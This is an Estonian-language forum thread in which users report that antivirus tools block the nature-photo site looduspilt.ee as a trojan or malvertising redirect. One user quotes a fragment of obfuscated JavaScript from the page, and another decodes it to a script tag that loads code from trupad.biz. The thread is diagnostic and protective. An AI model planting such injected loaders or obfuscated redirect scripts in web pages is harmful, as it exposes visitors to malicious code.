Sa ei ole sisse loginud.

#1 25-09-2013 19:15:38

TriinL
Uus kasutaja
Registreeritud: 02-12-2004
Postitus: 16

Viirusetõrje ja looduspilt.ee

Tere,
kasutan Kaspersky Internet Security 2013 ja aeg-ajalt teatab viirusetõrje, et looduspilt.ee lehte ei saa avada. Probleemiks on HEUR:Trojan.Script.Generic
Kas on probleem minu arvuti seadetes või on lehel mõni kahtlane koht? Foorum ja loodusõpe töötavad probleemideta.

Eemal

 

#2 26-09-2013 18:33:14

Mad Max
Kasutaja
Asukoht: Tallinn
Registreeritud: 02-12-2004
Postitus: 265
Veebileht

Re: Viirusetõrje ja looduspilt.ee

Ei ole sellist kurioosumit küll täheldanud, äkki vahetaks tolle Kaspersky näiteks Essentialsi vastu...

Probleemist ka juttu siin:
http://forum.kaspersky.com/lofiversion/ … 28547.html

Eemal

 

#3 03-10-2013 14:03:03

Risto40
Kasutaja
Registreeritud: 02-12-2004
Postitus: 240
Veebileht

Re: Viirusetõrje ja looduspilt.ee

Minul on täpselt sama probleem Looduspilt.ee, k.a. foorumi, külastamisega. Windows 7 keskkonas kus viirusetõrjeks on Kaspersky Internet Security 2013 või 2014 (vb ka vanemad versionid, ei tea) on võimatu looduspilti külastada. Lehed blokeeritakse just selle HEUR... viiruse pärast, mida TriinL mainis. Preagu külastan seda foorumit vana hea XP-l jooksva arvutiga, kus samuti KIS 2014, aga pikka aega uuendamata, ja saan ligi. Kardan, et kui viirusetõrje uuendan, siis ei saa enam kusagilt siia ligi.

Eemal

 

#4 03-10-2013 14:04:50

Risto40
Kasutaja
Registreeritud: 02-12-2004
Postitus: 240
Veebileht

Re: Viirusetõrje ja looduspilt.ee

Nii, viirusetõrje uuendatud ja... foorumile pääsen xp-s ligi, aga Looduspilt.ee'le enam ei pääse. Sama viiruse jama :s

Eemal

 

#5 06-10-2013 17:52:39

Sven Z.
Tigekull
Asukoht: Kõrveküla
Registreeritud: 14-11-2004
Postitus: 1273
Veebileht

Re: Viirusetõrje ja looduspilt.ee

Mul on läkapas uus KIS ja pole probleeme olnud.

Eemal

 

#6 08-10-2013 00:06:58

Risto40
Kasutaja
Registreeritud: 02-12-2004
Postitus: 240
Veebileht

Re: Viirusetõrje ja looduspilt.ee

ei tea mis jama on.. Vanas arvutis lasin windowsi ja KISi uuesti peale ning sama lugu. Lisasin looduspilt.ee exclusionisse. Muidu ei saagi siia ligi. Loodame, et mingit pahalast siin siiski pole.

Eemal

 

#7 10-10-2013 15:37:37

apelsinikaru
Kasutaja
Asukoht: Tartu
Registreeritud: 02-12-2004
Postitus: 121
Veebileht

Re: Viirusetõrje ja looduspilt.ee

Facebookis kah keegi kurdab:
Olli Haukkovaara: My Symantec Norton claims that looduspilt.ee tries to attack to my computer when I klick that link
Symantec warns about "Malvertisement Website Redirect". Severity is high. Looduspilt.ee hosts malicious advertisements which when clicked upon drops malicious files and compromise the security of the machine.

Kodulehe sortsu vaadates paistab sealt kah silma mingi kahtlane sümbolite jada javascripti koodis. Näiteks:
try{$_=~[];$_={___:++$_,$$$$sad![]+"")[$_],__$:++$_,$_$_sad![]+"")[$_],_$_:++$_,$_$$sad{}+"")[$_],$$_$sad$_[$_]+"")[$_],_$$:++$_,$$$_sad!""+"")...
Võibolla seal lihtsalt javascript miski hägustamisalgoritmiga üle lastud, kuid igatahes võiks sel juhul seda hägustamisalgoritmi vahetada, kuigi ausalt öeldes ei näe ma üldse mingit põhjust, miks seal midagi peaks peitma või hägustama. Võibolla tõesti keegi lehele sisse häkkinud ja see hägustamine on jälgede peitmiseks, kuigi võib olla ka lihtsalt valehäire, kuid ka sel juhul tuleks asi korda teha. Seal Flashi kah kasutatud, kurja juur võib ka seal pesitseda. Igatahes võiksid kodulehe adminid probleemi uurida. Kui kellelgi probleem esineb, siis kindlasti on abiks kui lisaks viirusetõrje programmi versioonile ära märkida ka millise browseri ja millise versiooniga see probleem esines, siis saavad adminid olukorda korrata.

Viimati muutnud apelsinikaru (10-10-2013 15:41:30)

Eemal

 

#8 18-10-2013 19:23:54

tommy
Tigekull
Registreeritud: 02-12-2004
Postitus: 748

Re: Viirusetõrje ja looduspilt.ee

hei!

>> Kodulehe sortsu vaadates paistab sealt kah silma mingi kahtlane sümbolite jada javascripti koodis.
>> Näiteks:
>> try{$_=~[];$_={___:++$_,$$$$sad![]+"")[$_],__$:++$_,$_$_:

seal on kaks sellist obfuskeeritud juppi. ma teist ei viitsinud vaadata, esimene neist kirjutab lehele sellise jupi:

<script src='http://trupad.biz/3a8da7fe.js?cp=www.looduspilt.ee'></script>

usutavasti on see miski reklaami või trackimise koos .. miks sellist asja obfuskeerima peab on raske öelda. mida see täpselt teeb ja miks on, oskavad saidi haldajad ilmselt öelda.

eriti paranoilised kodanikud võivad hosts failis trupad.com 127.0.0.1 peale mappida ..

kaido

Eemal

 

#9 06-01-2014 15:47:38

m66k
Kasutaja
Asukoht: Tallinn
Registreeritud: 02-12-2004
Postitus: 239
Veebileht

Re: Viirusetõrje ja looduspilt.ee

Avast paneb ka kohe kisama. Usun, et tegelikult midagi hullu pole, aga veidi tüütu on.
Nimetus: JS:Redirector-BJC[Trj]

Eemal

 

Foorumi jalus

Powered by PunBB
© Copyright 2002–2008 PunBB